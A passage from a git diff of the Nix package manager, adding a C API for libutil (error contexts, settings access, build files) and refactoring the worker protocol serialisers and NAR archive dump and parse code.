37, + NarFromPath = 38, + AddToStoreNar = 39, + QueryMissing = 40, + QueryDerivationOutputMap = 41, + RegisterDrvOutput = 42, + QueryRealisation = 43, + AddMultipleToStore = 44, + AddBuildLog = 45, + BuildPathsWithResults = 46, + AddPermRoot = 47, +}; + +struct WorkerProto::ClientHandshakeInfo +{ + /** + * The version of the Nix daemon that is processing our requests. + * + * Do note, it may or may not communicating with another daemon, + * rather than being an "end" `LocalStore` or similar. + */ + std::optional daemonNixVersion; + + /** + * Whether the remote side trusts us or not. + * + * 3 values: "yes", "no", or `std::nullopt` for "unknown". + * + * Note that the "remote side" might not be just the end daemon, but + * also an intermediary forwarder that can make its own trusting + * decisions. This would be the intersection of all their trust + * decisions, since it takes only one link in the chain to start + * denying operations. + */ + std::optional remoteTrustsUs; + + bool operator == (const ClientHandshakeInfo &) const = default; +}; + +/** + * Convenience for sending operation codes. + * + * @todo Switch to using `WorkerProto::Serialise` instead probably. But + * this was not done at this time so there would be less churn. + */ +inline Sink & operator << (Sink & sink, WorkerProto::Op op) +{ + return sink << static_cast(op); } -template -void write(const Store & store, Sink & out, const std::vector & resSet) +/** + * Convenience for debugging. + * + * @todo Perhaps render known opcodes more nicely. + */ +inline std::ostream & operator << (std::ostream & s, WorkerProto::Op op) { - out << resSet.size(); - for (auto & key : resSet) { - write(store, out, key); - } + return s << static_cast(op); } -template -std::set read(const Store & store, Source & from, Phantom> _) -{ - std::set resSet; - auto size = readNum(from); - while (size--) { - resSet.insert(read(store, from, Phantom {})); - } - return resSet; -} +/** + * Declare a canonical serialiser pair for the worker protocol. + * + * We specialise the struct merely to indicate that we are implementing + * the function for the given type. + * + * Some sort of `template<...>` must be used with the caller for this to + * be legal specialization syntax. See below for what that looks like in + * practice. + */ +#define DECLARE_WORKER_SERIALISER(T) \ + struct WorkerProto::Serialise< T > \ + { \ + static T read(const StoreDirConfig & store, WorkerProto::ReadConn conn); \ + static void write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const T & t); \ + }; + +template<> +DECLARE_WORKER_SERIALISER(DerivedPath); +template<> +DECLARE_WORKER_SERIALISER(BuildResult); +template<> +DECLARE_WORKER_SERIALISER(KeyedBuildResult); +template<> +DECLARE_WORKER_SERIALISER(ValidPathInfo); +template<> +DECLARE_WORKER_SERIALISER(UnkeyedValidPathInfo); +template<> +DECLARE_WORKER_SERIALISER(BuildMode); +template<> +DECLARE_WORKER_SERIALISER(std::optional); +template<> +DECLARE_WORKER_SERIALISER(std::optional); +template<> +DECLARE_WORKER_SERIALISER(WorkerProto::ClientHandshakeInfo); template -void write(const Store & store, Sink & out, const std::set & resSet) -{ - out << resSet.size(); - for (auto & key : resSet) { - write(store, out, key); - } -} +DECLARE_WORKER_SERIALISER(std::vector); +template +DECLARE_WORKER_SERIALISER(std::set); +template +DECLARE_WORKER_SERIALISER(std::tuple); +#define COMMA_ , template -std::map read(const Store & store, Source & from, Phantom> _) -{ - std::map resMap; - auto size = readNum(from); - while (size--) { - auto k = read(store, from, Phantom {}); - auto v = read(store, from, Phantom {}); - resMap.insert_or_assign(std::move(k), std::move(v)); - } - return resMap; -} - -template -void write(const Store & store, Sink & out, const std::map & resMap) -{ - out << resMap.size(); - for (auto & i : resMap) { - write(store, out, i.first); - write(store, out, i.second); - } -} - -} +DECLARE_WORKER_SERIALISER(std::map); +#undef COMMA_ } diff --git a/src/libutil-c/.version b/src/libutil-c/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libutil-c/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libutil-c/build-utils-meson b/src/libutil-c/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libutil-c/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libutil-c/local.mk b/src/libutil-c/local.mk new file mode 100644 index 000000000..f2df1ef43 --- /dev/null +++ b/src/libutil-c/local.mk @@ -0,0 +1,18 @@ +libraries += libutilc + +libutilc_NAME = libnixutilc + +libutilc_DIR := $(d) + +libutilc_SOURCES := $(wildcard $(d)/*.cc) + +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libutilc := -I $(d) +libutilc_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libutilc) + +libutilc_LIBS = libutil + +libutilc_LDFLAGS += $(THREAD_LDFLAGS) + +libutilc_FORCE_INSTALL := 1 diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build new file mode 100644 index 000000000..b5ed19631 --- /dev/null +++ b/src/libutil-c/meson.build @@ -0,0 +1,81 @@ +project('nix-util-c', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ + dependency('nix-util'), +] +deps_public_maybe_subproject = [ +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +config_h = configure_file( + configuration : configdata, + output : 'config-util.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + + # From C++ libraries, only for internals + '-include', 'config-util.hh', + + # From C libraries, for our public, installed headers too + '-include', 'config-util.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'nix_api_util.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'nix_api_util.h', +) + +# TODO don't install this once tests don't use it. +headers += files('nix_api_util_internal.h') + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nixutilc', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libutil-c/meson.options b/src/libutil-c/meson.options new file mode 100644 index 000000000..04422feaf --- /dev/null +++ b/src/libutil-c/meson.options @@ -0,0 +1 @@ +# vim: filetype=meson diff --git a/src/libutil-c/nix-util-c.pc.in b/src/libutil-c/nix-util-c.pc.in new file mode 100644 index 000000000..0ccae3f8a --- /dev/null +++ b/src/libutil-c/nix-util-c.pc.in @@ -0,0 +1,9 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix libutil C API +Description: Common functions for the Nix C API, such as error handling +Version: @PACKAGE_VERSION@ +Libs: -L${libdir} -lnixutil +Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libutil-c/nix_api_util.cc b/src/libutil-c/nix_api_util.cc new file mode 100644 index 000000000..4f65a4c12 --- /dev/null +++ b/src/libutil-c/nix_api_util.cc @@ -0,0 +1,150 @@ +#include "nix_api_util.h" +#include "config-global.hh" +#include "error.hh" +#include "nix_api_util_internal.h" +#include "util.hh" + +#include +#include + +nix_c_context * nix_c_context_create() +{ + return new nix_c_context(); +} + +void nix_c_context_free(nix_c_context * context) +{ + delete context; +} + +nix_err nix_context_error(nix_c_context * context) +{ + if (context == nullptr) { + throw; + } + try { + throw; + } catch (nix::Error & e) { + /* Storing this exception is annoying, take what we need here */ + context->last_err = e.what(); + context->info = e.info(); + int status; + const char * demangled = abi::__cxa_demangle(typeid(e).name(), 0, 0, &status); + if (demangled) { + context->name = demangled; + // todo: free(demangled); + } else { + context->name = typeid(e).name(); + } + context->last_err_code = NIX_ERR_NIX_ERROR; + return context->last_err_code; + } catch (const std::exception & e) { + context->last_err = e.what(); + context->last_err_code = NIX_ERR_UNKNOWN; + return context->last_err_code; + } + // unreachable +} + +nix_err nix_set_err_msg(nix_c_context * context, nix_err err, const char * msg) +{ + if (context == nullptr) { + // todo last_err_code + throw nix::Error("Nix C api error: %s", msg); + } + context->last_err_code = err; + context->last_err = msg; + return err; +} + +const char * nix_version_get() +{ + return PACKAGE_VERSION; +} + +// Implementations + +nix_err nix_setting_get(nix_c_context * context, const char * key, nix_get_string_callback callback, void * user_data) +{ + if (context) + context->last_err_code = NIX_OK; + try { + std::map settings; + nix::globalConfig.getSettings(settings); + if (settings.contains(key)) { + return call_nix_get_string_callback(settings[key].value, callback, user_data); + } else { + return nix_set_err_msg(context, NIX_ERR_KEY, "Setting not found"); + } + } + NIXC_CATCH_ERRS +} + +nix_err nix_setting_set(nix_c_context * context, const char * key, const char * value) +{ + if (context) + context->last_err_code = NIX_OK; + if (nix::globalConfig.set(key, value)) + return NIX_OK; + else { + return nix_set_err_msg(context, NIX_ERR_KEY, "Setting not found"); + } +} + +nix_err nix_libutil_init(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::initLibUtil(); + return NIX_OK; + } + NIXC_CATCH_ERRS +} + +const char * nix_err_msg(nix_c_context * context, const nix_c_context * read_context, unsigned int * n) +{ + if (context) + context->last_err_code = NIX_OK; + if (read_context->last_err) { + if (n) + *n = read_context->last_err->size(); + return read_context->last_err->c_str(); + } + nix_set_err_msg(context, NIX_ERR_UNKNOWN, "No error message"); + return nullptr; +} + +nix_err nix_err_name( + nix_c_context * context, const nix_c_context * read_context, nix_get_string_callback callback, void * user_data) +{ + if (context) + context->last_err_code = NIX_OK; + if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { + return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "Last error was not a nix error"); + } + return call_nix_get_string_callback(read_context->name, callback, user_data); +} + +nix_err nix_err_info_msg( + nix_c_context * context, const nix_c_context * read_context, nix_get_string_callback callback, void * user_data) +{ + if (context) + context->last_err_code = NIX_OK; + if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { + return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "Last error was not a nix error"); + } + return call_nix_get_string_callback(read_context->info->msg.str(), callback, user_data); +} + +nix_err nix_err_code(const nix_c_context * read_context) +{ + return read_context->last_err_code; +} + +// internal +nix_err call_nix_get_string_callback(const std::string str, nix_get_string_callback callback, void * user_data) +{ + callback(str.c_str(), str.size(), user_data); + return NIX_OK; +} diff --git a/src/libutil-c/nix_api_util.h b/src/libutil-c/nix_api_util.h new file mode 100644 index 000000000..ad6f32859 --- /dev/null +++ b/src/libutil-c/nix_api_util.h @@ -0,0 +1,306 @@ +#ifndef NIX_API_UTIL_H +#define NIX_API_UTIL_H +/** + * @defgroup libutil libutil + * @brief C bindings for nix libutil + * + * libutil is used for functionality shared between + * different Nix modules. + * @{ + */ +/** @file + * @brief Main entry for the libutil C bindings + * + * Also contains error handling utilities + */ + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +/** @defgroup errors Handling errors + * @brief Dealing with errors from the Nix side + * + * To handle errors that can be returned from the Nix API, + * a nix_c_context can be passed to any function that potentially returns an + * error. + * + * Error information will be stored in this context, and can be retrieved + * using nix_err_code and nix_err_msg. + * + * Passing NULL instead will cause the API to throw C++ errors. + * + * Example: + * @code{.c} + * int main() { + * nix_c_context* ctx = nix_c_context_create(); + * nix_libutil_init(ctx); + * if (nix_err_code(ctx) != NIX_OK) { + * printf("error: %s\n", nix_err_msg(NULL, ctx, NULL)); + * return 1; + * } + * return 0; + * } + * @endcode + * @{ + */ +// Error codes +/** + * @brief Type for error codes in the NIX system + * + * This type can have one of several predefined constants: + * - NIX_OK: No error occurred (0) + * - NIX_ERR_UNKNOWN: An unknown error occurred (-1) + * - NIX_ERR_OVERFLOW: An overflow error occurred (-2) + * - NIX_ERR_KEY: A key error occurred (-3) + * - NIX_ERR_NIX_ERROR: A generic Nix error occurred (-4) + */ +enum nix_err { + + /** + * @brief No error occurred. + * + * This error code is returned when no error has occurred during the function + * execution. + */ + NIX_OK = 0, + + /** + * @brief An unknown error occurred. + * + * This error code is returned when an unknown error occurred during the + * function execution. + */ + NIX_ERR_UNKNOWN = -1, + + /** + * @brief An overflow error occurred. + * + * This error code is returned when an overflow error occurred during the + * function execution. + */ + NIX_ERR_OVERFLOW = -2, + + /** + * @brief A key error occurred. + * + * This error code is returned when a key error occurred during the function + * execution. + */ + NIX_ERR_KEY = -3, + + /** + * @brief A generic Nix error occurred. + * + * This error code is returned when a generic Nix error occurred during the + * function execution. + */ + NIX_ERR_NIX_ERROR = -4, + +}; + +typedef enum nix_err nix_err; + +/** + * @brief This object stores error state. + * @struct nix_c_context + * + * Passed as a first parameter to functions that can fail, to store error + * information. + * + * Optional wherever it can be used, passing NULL instead will throw a C++ + * exception. + * + * The struct is laid out so that it can also be cast to nix_err* to inspect + * directly: + * @code{.c} + * assert(*(nix_err*)ctx == NIX_OK); + * @endcode + * @note These can be reused between different function calls, + * but make sure not to use them for multiple calls simultaneously (which can + * happen in callbacks). + */ +typedef struct nix_c_context nix_c_context; + +/** + * @brief Called to get the value of a string owned by Nix. + * + * @param[in] start the string to copy. + * @param[in] n the string length. + * @param[in] user_data optional, arbitrary data, passed to the nix_get_string_callback when it's called. + */ +typedef void (*nix_get_string_callback)(const char * start, unsigned int n, void * user_data); + +// Function prototypes + +/** + * @brief Allocate a new nix_c_context. + * @throws std::bad_alloc + * @return allocated nix_c_context, owned by the caller. Free using + * `nix_c_context_free`. + */ +nix_c_context * nix_c_context_create(); +/** + * @brief Free a nix_c_context. Does not fail. + * @param[out] context The context to free, mandatory. + */ +void nix_c_context_free(nix_c_context * context); +/** + * @} + */ + +/** + * @brief Initializes nix_libutil and its dependencies. + * + * This function can be called multiple times, but should be called at least + * once prior to any other nix function. + * + * @param[out] context Optional, stores error information + * @return NIX_OK if the initialization is successful, or an error code + * otherwise. + */ +nix_err nix_libutil_init(nix_c_context * context); + +/** @defgroup settings + * @{ + */ +/** + * @brief Retrieves a setting from the nix global configuration. + * + * This function requires nix_libutil_init() to be called at least once prior to + * its use. + * + * @param[out] context optional, Stores error information + * @param[in] key The key of the setting to retrieve. + * @param[in] callback Called with the setting value. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_get_string_callback + * @return NIX_ERR_KEY if the setting is unknown, or NIX_OK if the setting was retrieved + * successfully. + */ +nix_err nix_setting_get(nix_c_context * context, const char * key, nix_get_string_callback callback, void * user_data); + +/** + * @brief Sets a setting in the nix global configuration. + * + * Use "extra-" to append to the setting's value. + * + * Settings only apply for new State%s. Call nix_plugins_init() when you are + * done with the settings to load any plugins. + * + * @param[out] context optional, Stores error information + * @param[in] key The key of the setting to set. + * @param[in] value The value to set for the setting. + * @return NIX_ERR_KEY if the setting is unknown, or NIX_OK if the setting was + * set successfully. + */ +nix_err nix_setting_set(nix_c_context * context, const char * key, const char * value); + +/** + * @} + */ +// todo: nix_plugins_init() + +/** + * @brief Retrieves the nix library version. + * + * Does not fail. + * @return A static string representing the version of the nix library. + */ +const char * nix_version_get(); + +/** @addtogroup errors + * @{ + */ +/** + * @brief Retrieves the most recent error message from a context. + * + * @pre This function should only be called after a previous nix function has + * returned an error. + * + * @param[out] context optional, the context to store errors in if this function + * fails + * @param[in] ctx the context to retrieve the error message from + * @param[out] n optional: a pointer to an unsigned int that is set to the + * length of the error. + * @return nullptr if no error message was ever set, + * a borrowed pointer to the error message otherwise. + */ +const char * nix_err_msg(nix_c_context * context, const nix_c_context * ctx, unsigned int * n); + +/** + * @brief Retrieves the error message from errorInfo in a context. + * + * Used to inspect nix Error messages. + * + * @pre This function should only be called after a previous nix function has + * returned a NIX_ERR_NIX_ERROR + * + * @param[out] context optional, the context to store errors in if this function + * fails + * @param[in] read_context the context to retrieve the error message from. + * @param[in] callback Called with the error message. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_get_string_callback + * @return NIX_OK if there were no errors, an error code otherwise. + */ +nix_err nix_err_info_msg( + nix_c_context * context, const nix_c_context * read_context, nix_get_string_callback callback, void * user_data); + +/** + * @brief Retrieves the error name from a context. + * + * Used to inspect nix Error messages. + * + * @pre This function should only be called after a previous nix function has + * returned a NIX_ERR_NIX_ERROR + * + * @param context optional, the context to store errors in if this function + * fails + * @param[in] read_context the context to retrieve the error message from + * @param[in] callback Called with the error name. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_get_string_callback + * @return NIX_OK if there were no errors, an error code otherwise. + */ +nix_err nix_err_name( + nix_c_context * context, const nix_c_context * read_context, nix_get_string_callback callback, void * user_data); + +/** + * @brief Retrieves the most recent error code from a nix_c_context + * + * Equivalent to reading the first field of the context. + * + * Does not fail + * + * @param[in] read_context the context to retrieve the error message from + * @return most recent error code stored in the context. + */ +nix_err nix_err_code(const nix_c_context * read_context); + +/** + * @brief Set an error message on a nix context. + * + * This should be used when you want to throw an error from a PrimOp callback. + * + * All other use is internal to the API. + * + * @param context context to write the error message to, or NULL + * @param err The error code to set and return + * @param msg The error message to set. + * @returns the error code set + */ +nix_err nix_set_err_msg(nix_c_context * context, nix_err err, const char * msg); + +/** + * @} + */ + +// cffi end +#ifdef __cplusplus +} +#endif + +/** @} */ +#endif // NIX_API_UTIL_H diff --git a/src/libutil-c/nix_api_util_internal.h b/src/libutil-c/nix_api_util_internal.h new file mode 100644 index 000000000..aa829feaf --- /dev/null +++ b/src/libutil-c/nix_api_util_internal.h @@ -0,0 +1,49 @@ +#ifndef NIX_API_UTIL_INTERNAL_H +#define NIX_API_UTIL_INTERNAL_H + +#include +#include + +#include "error.hh" +#include "nix_api_util.h" + +struct nix_c_context +{ + nix_err last_err_code = NIX_OK; + std::optional last_err = {}; + std::optional info = {}; + std::string name = ""; +}; + +nix_err nix_context_error(nix_c_context * context); + +/** + * Internal use only. + * + * Helper to invoke nix_get_string_callback + * @param context optional, the context to store errors in if this function + * fails + * @param str The string to observe + * @param callback Called with the observed string. + * @param user_data optional, arbitrary data, passed to the callback when it's called. + * @return NIX_OK if there were no errors. + * @see nix_get_string_callback + */ +nix_err call_nix_get_string_callback(const std::string str, nix_get_string_callback callback, void * user_data); + +#define NIXC_CATCH_ERRS \ + catch (...) \ + { \ + return nix_context_error(context); \ + } \ + return NIX_OK; + +#define NIXC_CATCH_ERRS_RES(def) \ + catch (...) \ + { \ + nix_context_error(context); \ + return def; \ + } +#define NIXC_CATCH_ERRS_NULL NIXC_CATCH_ERRS_RES(nullptr) + +#endif // NIX_API_UTIL_INTERNAL_H diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix new file mode 100644 index 000000000..ccfafd4d3 --- /dev/null +++ b/src/libutil-c/package.nix @@ -0,0 +1,73 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-util-c"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libutil/.version b/src/libutil/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libutil/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libutil/abstract-setting-to-json.hh b/src/libutil/abstract-setting-to-json.hh index 2d82b54e7..eea687d8a 100644 --- a/src/libutil/abstract-setting-to-json.hh +++ b/src/libutil/abstract-setting-to-json.hh @@ -1,11 +1,13 @@ #pragma once +///@file #include #include "config.hh" +#include "json-utils.hh" namespace nix { template -std::map BaseSetting::toJSONObject() +std::map BaseSetting::toJSONObject() const { auto obj = AbstractSetting::toJSONObject(); obj.emplace("value", value); diff --git a/src/libutil/ansicolor.hh b/src/libutil/ansicolor.hh index 38305e71c..86becafa6 100644 --- a/src/libutil/ansicolor.hh +++ b/src/libutil/ansicolor.hh @@ -1,8 +1,12 @@ #pragma once +/** + * @file + * + * @brief Some ANSI escape sequences. + */ namespace nix { -/* Some ANSI escape sequences. */ #define ANSI_NORMAL "\e[0m" #define ANSI_BOLD "\e[1m" #define ANSI_FAINT "\e[2m" diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc index e85fe3d3f..9ed65be6a 100644 --- a/src/libutil/archive.cc +++ b/src/libutil/archive.cc @@ -5,15 +5,12 @@ #include // for strcasecmp -#include -#include -#include -#include -#include - #include "archive.hh" -#include "util.hh" -#include "config.hh" +#include "config-global.hh" +#include "posix-source-accessor.hh" +#include "source-path.hh" +#include "file-system.hh" +#include "signals.hh" namespace nix { @@ -27,8 +24,6 @@ struct ArchiveSettings : Config #endif "use-case-hack", "Whether to enable a Darwin-specific hack for dealing with file name collisions."}; - Setting preallocateContents{this, false, "preallocate-contents", - "Whether to preallocate files when writing objects with known size."}; }; static ArchiveSettings archiveSettings; @@ -38,91 +33,87 @@ static GlobalConfig::Register rArchiveSettings(&archiveSettings); PathFilter defaultPathFilter = [](const Path &) { return true; }; -static void dumpContents(const Path & path, off_t size, - Sink & sink) +void SourceAccessor::dumpPath( + const CanonPath & path, + Sink & sink, + PathFilter & filter) { - sink << "contents" << size; + auto dumpContents = [&](const CanonPath & path) + { + sink << "contents"; + std::optional size; + readFile(path, sink, [&](uint64_t _size) + { + size = _size; + sink << _size; + }); + assert(size); + writePadding(*size, sink); + }; - AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_CLOEXEC); - if (!fd) throw SysError("opening file '%1%'", path); + std::function dump; - std::vector buf(65536); - size_t left = size; + dump = [&](const CanonPath & path) { + checkInterrupt(); - while (left > 0) { - auto n = std::min(left, buf.size()); - readFull(fd.get(), buf.data(), n); - left -= n; - sink({buf.data(), n}); - } + auto st = lstat(path); - writePadding(size, sink); -} + sink << "("; + if (st.type == tRegular) { + sink << "type" << "regular"; + if (st.isExecutable) + sink << "executable" << ""; + dumpContents(path); + } -static time_t dump(const Path & path, Sink & sink, PathFilter & filter) -{ - checkInterrupt(); + else if (st.type == tDirectory) { + sink << "type" << "directory"; - auto st = lstat(path); - time_t result = st.st_mtime; + /* If we're on a case-insensitive system like macOS, undo + the case hack applied by restorePath(). */ + std::map unhacked; + for (auto & i : readDirectory(path)) + if (archiveSettings.useCaseHack) { + std::string name(i.first); + size_t pos = i.first.find(caseHackSuffix); + if (pos != std::string::npos) { + debug("removing case hack suffix from '%s'", path / i.first); + name.erase(pos); + } + if (!unhacked.emplace(name, i.first).second) + throw Error("file name collision in between '%s' and '%s'", + (path / unhacked[name]), + (path / i.first)); + } else + unhacked.emplace(i.first, i.first); - sink << "("; - - if (S_ISREG(st.st_mode)) { - sink << "type" << "regular"; - if (st.st_mode & S_IXUSR) - sink << "executable" << ""; - dumpContents(path, st.st_size, sink); - } - - else if (S_ISDIR(st.st_mode)) { - sink << "type" << "directory"; - - /* If we're on a case-insensitive system like macOS, undo - the case hack applied by restorePath(). */ - std::map unhacked; - for (auto & i : readDirectory(path)) - if (archiveSettings.useCaseHack) { - std::string name(i.name); - size_t pos = i.name.find(caseHackSuffix); - if (pos != std::string::npos) { - debug(format("removing case hack suffix from '%1%'") % (path + "/" + i.name)); - name.erase(pos); + for (auto & i : unhacked) + if (filter((path / i.first).abs())) { + sink << "entry" << "(" << "name" << i.first << "node"; + dump(path / i.second); + sink << ")"; } - if (!unhacked.emplace(name, i.name).second) - throw Error("file name collision in between '%1%' and '%2%'", - (path + "/" + unhacked[name]), - (path + "/" + i.name)); - } else - unhacked.emplace(i.name, i.name); + } - for (auto & i : unhacked) - if (filter(path + "/" + i.first)) { - sink << "entry" << "(" << "name" << i.first << "node"; - auto tmp_mtime = dump(path + "/" + i.second, sink, filter); - if (tmp_mtime > result) { - result = tmp_mtime; - } - sink << ")"; - } - } + else if (st.type == tSymlink) + sink << "type" << "symlink" << "target" << readLink(path); - else if (S_ISLNK(st.st_mode)) - sink << "type" << "symlink" << "target" << readLink(path); + else throw Error("file '%s' has an unsupported type", path); - else throw Error("file '%1%' has an unsupported type", path); + sink << ")"; + }; - sink << ")"; - - return result; + sink << narVersionMagic1; + dump(path); } time_t dumpPathAndGetMtime(const Path & path, Sink & sink, PathFilter & filter) { - sink << narVersionMagic1; - return dump(path, sink, filter); + auto path2 = PosixSourceAccessor::createAtRoot(path); + path2.dumpPath(sink, filter); + return path2.accessor.dynamic_pointer_cast()->mtime; } void dumpPath(const Path & path, Sink & sink, PathFilter & filter) @@ -143,32 +134,21 @@ static SerialisationError badArchive(const std::string & s) } -#if 0 -static void skipGeneric(Source & source) -{ - if (readString(source) == "(") { - while (readString(source) != ")") - skipGeneric(source); - } -} -#endif - - -static void parseContents(ParseSink & sink, Source & source, const Path & path) +static void parseContents(CreateRegularFileSink & sink, Source & source) { uint64_t size = readLongLong(source); sink.preallocateContents(size); uint64_t left = size; - std::vector buf(65536); + std::array buf; while (left) { checkInterrupt(); auto n = buf.size(); if ((uint64_t)n > left) n = left; source(buf.data(), n); - sink.receiveContents({buf.data(), n}); + sink({buf.data(), n}); left -= n; } @@ -185,109 +165,121 @@ struct CaseInsensitiveCompare }; -static void parse(ParseSink & sink, Source & source, const Path & path) +static void parse(FileSystemObjectSink & sink, Source & source, const CanonPath & path) { std::string s; s = readString(source); if (s != "(") throw badArchive("expected open tag"); - enum { tpUnknown, tpRegular, tpDirectory, tpSymlink } type = tpUnknown; - std::map names; - while (1) { + auto getString = [&]() { checkInterrupt(); + return readString(source); + }; - s = readString(source); + // For first iteration + s = getString(); + + while (1) { if (s == ")") { break; } else if (s == "type") { - if (type != tpUnknown) - throw badArchive("multiple type fields"); - std::string t = readString(source); + std::string t = getString(); if (t == "regular") { - type = tpRegular; - sink.createRegularFile(path); + sink.createRegularFile(path, [&](auto & crf) { + while (1) { + s = getString(); + + if (s == "contents") { + parseContents(crf, source); + } + + else if (s == "executable") { + auto s2 = getString(); + if (s2 != "") throw badArchive("executable marker has non-empty value"); + crf.isExecutable(); + } + + else break; + } + }); } else if (t == "directory") { sink.createDirectory(path); - type = tpDirectory; + + while (1) { + s = getString(); + + if (s == "entry") { + std::string name, prevName; + + s = getString(); + if (s != "(") throw badArchive("expected open tag"); + + while (1) { + s = getString(); + + if (s == ")") { + break; + } else if (s == "name") { + name = getString(); + if (name.empty() || name == "." || name == ".." || name.find('/') != std::string::npos || name.find((char) 0) != std::string::npos) + throw Error("NAR contains invalid file name '%1%'", name); + if (name <= prevName) + throw Error("NAR directory is not sorted"); + prevName = name; + if (archiveSettings.useCaseHack) { + auto i = names.find(name); + if (i != names.end()) { + debug("case collision between '%1%' and '%2%'", i->first, name); + name += caseHackSuffix; + name += std::to_string(++i->second); + } else + names[name] = 0; + } + } else if (s == "node") { + if (name.empty()) throw badArchive("entry name missing"); + parse(sink, source, path / name); + } else + throw badArchive("unknown field " + s); + } + } + + else break; + } } else if (t == "symlink") { - type = tpSymlink; + s = getString(); + + if (s != "target") + throw badArchive("expected 'target' got " + s); + + std::string target = getString(); + sink.createSymlink(path, target); + + // for the next iteration + s = getString(); } else throw badArchive("unknown file type " + t); } - else if (s == "contents" && type == tpRegular) { - parseContents(sink, source, path); - sink.closeRegularFile(); - } - - else if (s == "executable" && type == tpRegular) { - auto s = readString(source); - if (s != "") throw badArchive("executable marker has non-empty value"); - sink.isExecutable(); - } - - else if (s == "entry" && type == tpDirectory) { - std::string name, prevName; - - s = readString(source); - if (s != "(") throw badArchive("expected open tag"); - - while (1) { - checkInterrupt(); - - s = readString(source); - - if (s == ")") { - break; - } else if (s == "name") { - name = readString(source); - if (name.empty() || name == "." || name == ".." || name.find('/') != std::string::npos || name.find((char) 0) != std::string::npos) - throw Error("NAR contains invalid file name '%1%'", name); - if (name <= prevName) - throw Error("NAR directory is not sorted"); - prevName = name; - if (archiveSettings.useCaseHack) { - auto i = names.find(name); - if (i != names.end()) { - debug(format("case collision between '%1%' and '%2%'") % i->first % name); - name += caseHackSuffix; - name += std::to_string(++i->second); - } else - names[name] = 0; - } - } else if (s == "node") { - if (name.empty()) throw badArchive("entry name missing"); - parse(sink, source, path + "/" + name); - } else - throw badArchive("unknown field " + s); - } - } - - else if (s == "target" && type == tpSymlink) { - std::string target = readString(source); - sink.createSymlink(path, target); - } - else throw badArchive("unknown field " + s); } } -void parseDump(ParseSink & sink, Source & source) +void parseDump(FileSystemObjectSink & sink, Source & source) { std::string version; try { @@ -298,85 +290,13 @@ void parseDump(ParseSink & sink, Source & source) } if (version != narVersionMagic1) throw badArchive("input doesn't look like a Nix archive"); - parse(sink, source, ""); + parse(sink, source, CanonPath::root); } -struct RestoreSink : ParseSink +void restorePath(const std::filesystem::path & path, Source & source, bool startFsync) { - Path dstPath; - AutoCloseFD fd; - bool startFsync; - - explicit RestoreSink(bool startFsync) : startFsync{startFsync} {} - - void createDirectory(const Path & path) override - { - Path p = dstPath + path; - if (mkdir(p.c_str(), 0777) == -1) - throw SysError("creating directory 